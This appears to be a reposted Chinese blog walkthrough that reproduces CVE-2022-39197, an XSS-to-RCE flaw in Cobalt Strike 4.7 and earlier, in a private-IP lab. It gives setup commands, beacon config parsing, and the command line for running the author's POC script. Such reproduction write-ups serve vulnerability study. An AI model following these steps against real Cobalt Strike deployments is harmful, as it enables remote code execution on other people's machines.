码农知识堂 - 1000bd
  •   Python
  •   PHP
  •   JS/TS
  •   JAVA
  •   C/C++
  •   C#
  •   GO
  •   Kotlin
  •   Swift
  • CVE-2022-39197(CobaltStrike XSS <=4.7)漏洞复现


    最新文章更新见个人博客

    漏洞说明

    根据9.20日CobaltStrike官方发布的最新4.7.1版本的更新日志中介绍,<=4.7的teamserver版本存在XSS漏洞,从而可以造成RCE远程代码执行

    一位名为“Beichendream”的独立研究人员联系我们,告知我们他们在团队服务器中发现的一个 XSS 漏洞。这将允许攻击者在 Beacon 配置中设置格式错误的用户名,从而允许他们远程执行代码RCE。


    复现过程

    根据漏洞原理,类似之前使用的cs上线器,稍微修改一下上线的payload即可。

    测试环境

    服务端:Ubuntu20.04+JDK11+CS4.3 (IP: 172.16.12.13)

    客户端:M2 macOS Monterey 12.5 + JDK17 (IP: 172.16.12.2)

    用到的工具:CobaltStrikeParser、CVE-2022-39197 POC


    环境搭建

    # ubuntu
    chmod +x teamserver
    ./teamserver 172.16.12.13 haha123
    # macOS--提供图片加载服务,如果联网的话可以省略该步,使用任意在线图片的url
    brew install node@14
    npm i --global serve
    serve		# 用serve在图片路径下开启服务, 此处图片文件url为:http://172.16.12.2:3000/logo.png
    

    CS中创建一个listener监听器

    image-20220923195818451

    然后生成一个package木马,经测试,是否勾选x64(即生成的32位和64位均可上线)不影响结果

    image-20220923200124179

    POC使用

    首先对这个生成的beacon进行分析,我们这里使用CobaltStrikeParser这个工具。

    python3 parse_beacon_config.py beacon4.3_x64.exe --json
    

    重点关注如下几个点

    将Port、C2Server、HttpPostUri进行拼接,这里变成:http://172.16.12.13:8080/visit.js/submit.php,记录下来

    将PublicKey复制到一个txt文件中,注意去除前后的空格

    使用我写的POC(编写不易,麻烦加个star吧,后期会把上述分析功能集成,一站式实现)

    python3 cve-2022-39197-poc.py -i http://172.16.12.2:3000/logo.png -u http://172.16.12.13:8080/visit.js/submit.php -k key.txt
    


  • 相关阅读:
    服务器使用u盘安装麒麟系统报错“dracut-initqueue timeout”,/dev/root does not exist
    nginx+rtmp+yamdi镜像制作
    SAS|proc report
    JVM——一些零散的概念(后续学习深入了再补充)
    Go 处理粘包拆包
    软件测试不行了?互联网内卷严重?我看未必吧
    在script标签中引用tiptap
    使用python获取城市经纬度以及城市间的距离、火车时间、所需成本等
    谈谈数字化转型晓知识
    前端js下载zip文件异常问题解决
  • 原文地址:https://www.cnblogs.com/xzajyjs/p/16724512.html
  • 最新文章
  • 攻防演习之三天拿下官网站群
    数据安全治理学习——前期安全规划和安全管理体系建设
    企业安全 | 企业内一次钓鱼演练准备过程
    内网渗透测试 | Kerberos协议及其部分攻击手法
    0day的产生 | 不懂代码的"代码审计"
    安装scrcpy-client模块av模块异常,环境问题解决方案
    leetcode hot100【LeetCode 279. 完全平方数】java实现
    OpenWrt下安装Mosquitto
    AnatoMask论文汇总
    【AI日记】24.11.01 LangChain、openai api和github copilot
  • 热门文章
  • 十款代码表白小特效 一个比一个浪漫 赶紧收藏起来吧!!!
    奉劝各位学弟学妹们,该打造你的技术影响力了!
    五年了,我在 CSDN 的两个一百万。
    Java俄罗斯方块,老程序员花了一个周末,连接中学年代!
    面试官都震惊,你这网络基础可以啊!
    你真的会用百度吗?我不信 — 那些不为人知的搜索引擎语法
    心情不好的时候,用 Python 画棵樱花树送给自己吧
    通宵一晚做出来的一款类似CS的第一人称射击游戏Demo!原来做游戏也不是很难,连憨憨学妹都学会了!
    13 万字 C 语言从入门到精通保姆级教程2021 年版
    10行代码集2000张美女图,Python爬虫120例,再上征途
Copyright © 2022 侵权请联系2656653265@qq.com    京ICP备2022015340号-1
正则表达式工具 cron表达式工具 密码生成工具

京公网安备 11010502049817号